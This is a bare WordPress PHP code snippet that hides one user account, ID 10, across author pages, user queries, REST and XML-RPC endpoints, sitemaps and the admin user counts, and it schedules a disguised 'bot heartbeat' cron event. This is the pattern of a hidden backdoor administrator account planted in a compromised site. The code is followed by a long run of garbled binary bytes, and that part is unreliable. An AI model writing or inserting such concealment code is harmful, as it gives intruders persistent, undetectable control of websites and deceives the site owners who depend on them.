add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 10;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 10 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 10 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 10;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 10;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 10;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/10(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 10;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Ž]#ɒ%(]`"v}vu7>BfN2HFg07"Y_/;̿Jgtp7c~;vqjoyau__ZMkC˩_ӷ˻~r]״}vjnO/f禟:u}O?46Ӵ4ttmڹ9__c7ߒ?O}ڿ0ϧ~/:>7ٕ/SðlL?]?}Mo|6/ů_}wgfoݹ{?]_?ͿgnFe>nZ]ojV$ӺYMñ/V?/^>rq-lyW/aP䯜>7QV[]U>BaﴚzmK /[vFnM#H^~l+tnCi"~֝'Gen֣逕56iY*nױ]Mn;1<>n惜ٍYVhծd~\=Ë۾qN~~N0>lH|>I6˄AOK8}sYdSÅ05?EbNӈ|pi/@_C+Mbl>
ϯ^дJ'Gp#d3⤟iCmO/25n=6nYBo)zգ+'UVQl!Aifohrp>;UEP|z֭vc^9Q\j玲;
~ڵVVnES3~a))7%
<9Ręʜa1zНAnv:ݹ`ŋ̇Gl)aô:Z\/.eEv|sN:7I7mk{=L4a+}roo^|Q/Fi^;NmbPgZok&aåAB+o l廸jeҾUE9$4oY!c|waѡLsF]ܖLvb17M&>EZȣCW&rgnt3 ;\դ7F7
xP0sSMT/|G?I26rB-Imz~ /ߦmm//OGX\
7et^[l&r͍Gҷxxa,,YJFˁ<ښʒda~*9
Eҗ*Ŧ;-yԕ5nbnlX:s \Ărɍ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